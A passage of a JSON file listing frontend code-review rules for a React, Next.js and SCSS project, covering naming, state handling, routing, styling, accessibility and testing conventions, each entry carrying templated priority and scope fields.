directly.","apiRule":"A function that just calls another with the same arguments and no extra logic adds indirection without value; call the underlying method directly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep an exported symbol's name consistent with its module name","rule":"When a module is named after one concept (e.g. `checkUserId`) but exports a differently-named member (e.g. `getUserId`), rename one so the file and its export agree.","apiRule":"When a module is named after one concept (e.g. `checkUserId`) but exports a differently-named member (e.g. `getUserId`), rename one so the file and its export agree. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name a scaling factor for the value, not the operation applied to it","rule":"A variable used as a divisor should be named for what it represents (scaleValue), not after the operation, to avoid reading like 'dividing by divide'.","apiRule":"A variable used as a divisor should be named for what it represents (scaleValue), not after the operation, to avoid reading like 'dividing by divide'. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the same construct (enum vs const map) consistently for related sets","rule":"When similar fixed sets elsewhere are enums, prefer an enum here too rather than mixing loose constants, unless you genuinely need keyed lookup by value.","apiRule":"When similar fixed sets elsewhere are enums, prefer an enum here too rather than mixing loose constants, unless you genuinely need keyed lookup by value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Guard percentage/ratio math against tiny or zero denominators","rule":"Dividing by a value close to zero produces absurd results; decide and document the fallback (null, capped value) instead of returning huge numbers.","apiRule":"Dividing by a value close to zero produces absurd results; decide and document the fallback (null, capped value) instead of returning huge numbers. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Format numbers and dates with a locale matching the actual audience","rule":"Choose a locale (or explicit formatting) that reflects your users' conventions rather than borrowing an unrelated locale that happens to look similar.","apiRule":"Choose a locale (or explicit formatting) that reflects your users' conventions rather than borrowing an unrelated locale that happens to look similar. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Trust response.ok instead of re-checking the HTTP status range","rule":"response.ok already covers the 2xx range, so a redundant numeric status check after it is unnecessary unless the payload carries its own status field.","apiRule":"response.ok already covers the 2xx range, so a redundant numeric status check after it is unnecessary unless the payload carries its own status field. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not set the default 200 status explicitly","rule":"When a successful JSON response uses the default 200 status, return the json directly rather than calling status(200) to reduce noise.","apiRule":"When a successful JSON response uses the default 200 status, return the json directly rather than calling status(200) to reduce noise. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Consolidate API routes that do essentially the same work","rule":"When two endpoints differ only in where a parameter comes from or a minor branch, merge them into one route that handles the variation instead of maintaining duplicates.","apiRule":"When two endpoints differ only in where a parameter comes from or a minor branch, merge them into one route that handles the variation instead of maintaining duplicates. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name React components as nouns, not actions","rule":"A component that renders UI should be named like a thing (SaveEstimateButton), not like an action or hook.","apiRule":"A component that renders UI should be named like a thing (SaveEstimateButton), not like an action or hook. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use rem helpers and shared variables instead of hardcoded px and hex values","rule":"Replace magic pixel values and raw hex colors in stylesheets with the project's rem-calc helper and named color/spacing variables.","apiRule":"Replace magic pixel values and raw hex colors in stylesheets with the project's rem-calc helper and named color/spacing variables. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Remove duplicate guard/logging blocks within one function","rule":"When the same guard (e.g. an if (!response.ok) log) appears twice in one function, keep a single check to avoid duplicate logging and dead branches.","apiRule":"When the same guard (e.g. an if (!response.ok) log) appears twice in one function, keep a single check to avoid duplicate logging and dead branches. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a virtualized list over combining infinite scroll with pagination","rule":"When the goal is rendering a large list performantly, use list virtualization rather than wiring infinite-scroll fetching alongside pagination.","apiRule":"When the goal is rendering a large list performantly, use list virtualization rather than wiring infinite-scroll fetching alongside pagination. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Base conditional logic on the meaningful attribute, not array position","rule":"When a rule depends on what an item is (its name/type), key the condition on that attribute; only use index when the rule genuinely depends on position.","apiRule":"When a rule depends on what an item is (its name/type), key the condition on that attribute; only use index when the rule genuinely depends on position. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set loading state after early-return guards, not before","rule":"Place setIsLoading(true) after any guard clauses that may bail out early, so you don't flip loading on for a request you never make.","apiRule":"Place setIsLoading(true) after any guard clauses that may bail out early, so you don't flip loading on for a request you never make. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use git mv for case-only file or folder renames","rule":"On case-insensitive filesystems a case-only rename isn't tracked and breaks on case-sensitive deploy targets; use git mv so the change is recorded.","apiRule":"On case-insensitive filesystems a case-only rename isn't tracked and breaks on case-sensitive deploy targets; use git mv so the change is recorded. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Extract repeated SCSS declarations into a parameterized mixin","rule":"Replace blocks of the same property set repeated across rules (e.g. flex centering) with a reusable mixin that accepts parameters with sensible defaults.","apiRule":"Replace blocks of the same property set repeated across rules (e.g. flex centering) with a reusable mixin that accepts parameters with sensible defaults. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Derive values during render instead of storing redundant state","rule":"If a value can be computed from existing state/props, compute it inline rather than holding it in its own useState and syncing it.","apiRule":"If a value can be computed from existing state/props, compute it inline rather than holding it in its own useState and syncing it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Keep style modules out of the routing pages directory","rule":"Place component styles with the component, not under the framework's pages/routing folder where they may not resolve and clutter routes.","apiRule":"Place component styles with the component, not under the framework's pages/routing folder where they may not resolve and clutter routes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Do not add a redundant hover rule when cursor: pointer already implies it","rule":"Avoid duplicating hover affordance styling that is already conveyed; remove redundant hover blocks.","apiRule":"Avoid duplicating hover affordance styling that is already conveyed; remove redundant hover blocks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reset numeric CSS properties to 0, not unset","rule":"For numeric properties like margin/padding, prefer an explicit 0 over unset for clarity and predictability.","apiRule":"For numeric properties like margin/padding, prefer an explicit 0 over unset for clarity and predictability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Re-export through an index barrel to keep imports clean","rule":"Provide an index barrel that re-exports default and named members so consumers import once from the directory.","apiRule":"Provide an index barrel that re-exports default and named members so consumers import once from the directory. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use location.href for in-page navigation rather than window.open(_self)","rule":"For navigating the current tab, assign window.location.href instead of window.open with _self.","apiRule":"For navigating the current tab, assign window.location.href instead of window.open with _self. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Type event-name parameters with keyof WindowEventMap","rule":"Constrain event-name arguments to keyof WindowEventMap (optionally unioned with known custom keys) instead of plain string.","apiRule":"Constrain event-name arguments to keyof WindowEventMap (optionally unioned with known custom keys) instead of plain string. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Pass auth tokens via a custom header, not a cookie, when there is no reason to use a cookie","rule":"Send service tokens through a dedicated request header rather than overloading the cookie header without a specific reason.","apiRule":"Send service tokens through a dedicated request header rather than overloading the cookie header without a specific reason. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep a custom hook's state inside the hook","rule":"A custom hook should own and return derived state from inputs, not push state ownership back onto every caller.","apiRule":"A custom hook should own and return derived state from inputs, not push state ownership back onto every caller. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a named helper for string casing instead of inline char surgery","rule":"Replace ad-hoc inline string slicing/casing with a clearly named utility (or lodash) so intent is obvious.","apiRule":"Replace ad-hoc inline string slicing/casing with a clearly named utility (or lodash) so intent is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard dynamic map lookups with optional chaining and a fallback","rule":"When indexing a record by a runtime value, use optional chaining and provide a fallback so a missing key does not throw.","apiRule":"When indexing a record by a runtime value, use optional chaining and provide a fallback so a missing key does not throw. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Return 404 instead of a redirect for embedded/web-view routes","rule":"For routes loaded in a native app web view, return notFound rather than a redirect so the app can react instead of rendering a full redirected page.","apiRule":"For routes loaded in a native app web view, return notFound rather than a redirect so the app can react instead of rendering a full redirected page. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Prefer config-level redirects over redirect-only page components","rule":"Implement pure URL redirects in the framework's config redirects instead of creating a page whose only job is to redirect.","apiRule":"Implement pure URL redirects in the framework's config redirects instead of creating a page whose only job is to redirect. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Expose client env variables via the framework prefix, not a custom context","rule":"Use NEXT_PUBLIC_ (framework-provided client env prefix) to expose values to the browser instead of building a bespoke env-passing mechanism.","apiRule":"Use NEXT_PUBLIC_ (framework-provided client env prefix) to expose values to the browser instead of building a bespoke env-passing mechanism. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Call the backend that owns the data directly instead of proxying through extra hops","rule":"Avoid routing a request web -> ws -> backend when the client can call the owning service directly, or fold extra data into an existing response.","apiRule":"Avoid routing a request web -> ws -> backend when the client can call the owning service directly, or fold extra data into an existing response. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Render SVGs as components instead of CSS background-image where possible","rule":"Inline SVGs as React components rather than CSS background-image so the framework can optimize and control them; CSS backgrounds are acceptable only for tiny static cases.","apiRule":"Inline SVGs as React components rather than CSS background-image so the framework can optimize and control them; CSS backgrounds are acceptable only for tiny static cases. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Encapsulate context state inside a provider component","rule":"Wrap context value/state in a dedicated provider component co-located with the context, instead of wiring state and value inside an unrelated consumer component.","apiRule":"Wrap context value/state in a dedicated provider component co-located with the context, instead of wiring state and value inside an unrelated consumer component. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Signal cross-page events with a flag, not a full message in the URL","rule":"To notify another page of an event, pass a boolean/flag query param and resolve the user-facing copy at the destination instead of encoding the whole message in the URL.","apiRule":"To notify another page of an event, pass a boolean/flag query param and resolve the user-facing copy at the destination instead of encoding the whole message in the URL. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use full, valid absolute URLs for external links","rule":"External link hrefs must include the protocol (https://) and the correct destination, not a bare domain or placeholder.","apiRule":"External link hrefs must include the protocol (https://) and the correct destination, not a bare domain or placeholder. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not add a class selector alongside a unique id selector","rule":"When selecting by a unique id you don't also need a class qualifier; the id already uniquely identifies the element.","apiRule":"When selecting by a unique id you don't also need a class qualifier; the id already uniquely identifies the element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make one configurable SVG component instead of near-duplicate icons","rule":"Render a single SVG React component whose fill/stroke and rotation are driven by props/CSS instead of creating separate icons for each state.","apiRule":"Render a single SVG React component whose fill/stroke and rotation are driven by props/CSS instead of creating separate icons for each state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reuse a single lookup result instead of searching repeatedly","rule":"Find an item once and derive all needed fields from that result rather than calling find multiple times for the same element.","apiRule":"Find an item once and derive all needed fields from that result rather than calling find multiple times for the same element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Move mock and static data into config files","rule":"Keep mock datasets, placeholder images, and static lists in dedicated config/.mock files rather than embedding them in components or interface files.","apiRule":"Keep mock datasets, placeholder images, and static lists in dedicated config/.mock files rather than embedding them in components or interface files. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use the project's standard component type annotation","rule":"Annotate components the same way across the codebase (e.g. React.FC) instead of mixing styles, and don't double-annotate destructured props.","apiRule":"Annotate components the same way across the codebase (e.g. React.FC) instead of mixing styles, and don't double-annotate destructured props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Extract single-use JSX branches into a dedicated component","rule":"When a large conditional branch is only used by one page/route, move it into its own component near that view.","apiRule":"When a large conditional branch is only used by one page/route, move it into its own component near that view. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not render the same component twice unintentionally","rule":"Avoid leaving a duplicate render of the same component (e.g. a dialog) both inside and outside a conditional block.","apiRule":"Avoid leaving a duplicate render of the same component (e.g. a dialog) both inside and outside a conditional block. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Remove tests only when the behavior they cover is gone","rule":"Deleting a test is acceptable when the element/behavior it asserts has itself been removed; otherwise keep the coverage.","apiRule":"Deleting a test is acceptable when the element/behavior it asserts has itself been removed; otherwise keep the coverage. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add unit tests for pure utility functions","rule":"Pure, deterministic helper functions are good candidates for unit tests; add coverage for them.","apiRule":"Pure, deterministic helper functions are good candidates for unit tests; add coverage for them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep service config inside the class, not at module scope","rule":"Store a service's configuration (such as its base API URL) as a private property of the class rather than instantiating it at module level.","apiRule":"Store a service's configuration (such as its base API URL) as a private property of the class rather than instantiating it at module level. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Render rich HTML content via the proper mechanism, not manual tag stripping","rule":"To display server HTML content, use the framework's HTML-rendering API rather than hand-written regex to strip tags.","apiRule":"To display server HTML content, use the framework's HTML-rendering API rather than hand-written regex to strip tags. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Define CSS classes in the module of the component that uses them","rule":"Keep a style class in the stylesheet of the component that consumes it rather than passing class strings down from a parent, which lets the prop become a clean boolean.","apiRule":"Keep a style class in the stylesheet of the component that consumes it rather than passing class strings down from a parent, which lets the prop become a clean boolean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Forward refs with forwardRef, not a custom ref prop","rule":"Pass refs into a component using React.forwardRef rather than smuggling a ref through a normal prop.","apiRule":"Pass refs into a component using React.forwardRef rather than smuggling a ref through a normal prop. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name component style-override slots by their standard slot names","rule":"When overriding a UI library's style slots, name your class for the standard slot (e.g. `root`) rather than a custom redundant name.","apiRule":"When overriding a UI library's style slots, name your class for the standard slot (e.g. `root`) rather than a custom redundant name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use SCSS variables consistently rather than ad-hoc CSS custom properties","rule":"When the codebase standardizes on SCSS variables, keep using them instead of introducing one-off CSS custom properties with hardcoded fallbacks.","apiRule":"When the codebase standardizes on SCSS variables, keep using them instead of introducing one-off CSS custom properties with hardcoded fallbacks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Separate CSS selectors with a blank line","rule":"Add an empty line between adjacent CSS/SCSS selectors and rule blocks for readability.","apiRule":"Add an empty line between adjacent CSS/SCSS selectors and rule blocks for readability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Stop event propagation on inner clickable handlers","rule":"Call event.stopPropagation() in handlers nested inside a clickable parent so the inner action does not also trigger the parent's click.","apiRule":"Call event.stopPropagation() in handlers nested inside a clickable parent so the inner action does not also trigger the parent's click. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use explicit default values instead of empty strings for style props","rule":"When conditionally setting a style prop, pass the real default value rather than an empty string so the prop is meaningful.","apiRule":"When conditionally setting a style prop, pass the real default value rather than an empty string so the prop is meaningful. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Mark layout-grid children as items","rule":"Direct children of a layout grid container should set the item flag so spacing and sizing props apply correctly and reduce extra CSS.","apiRule":"Direct children of a layout grid container should set the item flag so spacing and sizing props apply correctly and reduce extra CSS. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use layout components only for actual layout","rule":"Reserve flex/grid layout components for flexible containers; for a plain non-layout wrapper use a basic element instead.","apiRule":"Reserve flex/grid layout components for flexible containers; for a plain non-layout wrapper use a basic element instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Check the fields you care about, not just the wrapping object","rule":"When validating presence, test the specific nested values rather than the container object, which can be truthy while its fields are null.","apiRule":"When validating presence, test the specific nested values rather than the container object, which can be truthy while its fields are null. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Cast strings to numbers with Number() rather than unary plus","rule":"Use the explicit Number(value) cast instead of the terse `+value` so the intent of converting a string param to a number is clear.","apiRule":"Use the explicit Number(value) cast instead of the terse `+value` so the intent of converting a string param to a number is clear. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not return null from functions typed to return void","rule":"When a function's declared return type is void, drop the explicit `return null` since it contradicts the signature.","apiRule":"When a function's declared return type is void, drop the explicit `return null` since it contradicts the signature. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't ship incorrect accessibility labels","rule":"An aria-label that is wrong is worse than none; either set it correctly to describe the element or remove it.","apiRule":"An aria-label that is wrong is worse than none; either set it correctly to describe the element or remove it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Call hooks directly where their value is consumed","rule":"Invoke a hook (e.g. useRouter) inside the component that needs it instead of threading its value down through props.","apiRule":"Invoke a hook (e.g. useRouter) inside the component that needs it instead of threading its value down through props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefix related type names by domain for discoverability","rule":"Name variant types with the shared domain prefix (e.g. ThreadDeleted, not DeletedThread) so editor autocomplete groups them together.","apiRule":"Name variant types with the shared domain prefix (e.g. ThreadDeleted, not DeletedThread) so editor autocomplete groups them together. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep style properties in a consistent (alphabetical) order","rule":"Order CSS declarations consistently (e.g. alphabetically) to reduce churn and ease scanning.","apiRule":"Order CSS declarations consistently (e.g. alphabetically) to reduce churn and ease scanning. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Toggle component states via props, not duplicated CSS classes","rule":"Use a component's built-in state props (e.g. disabled) so its theme styling applies, instead of replicating the state with a custom CSS class that can fight the 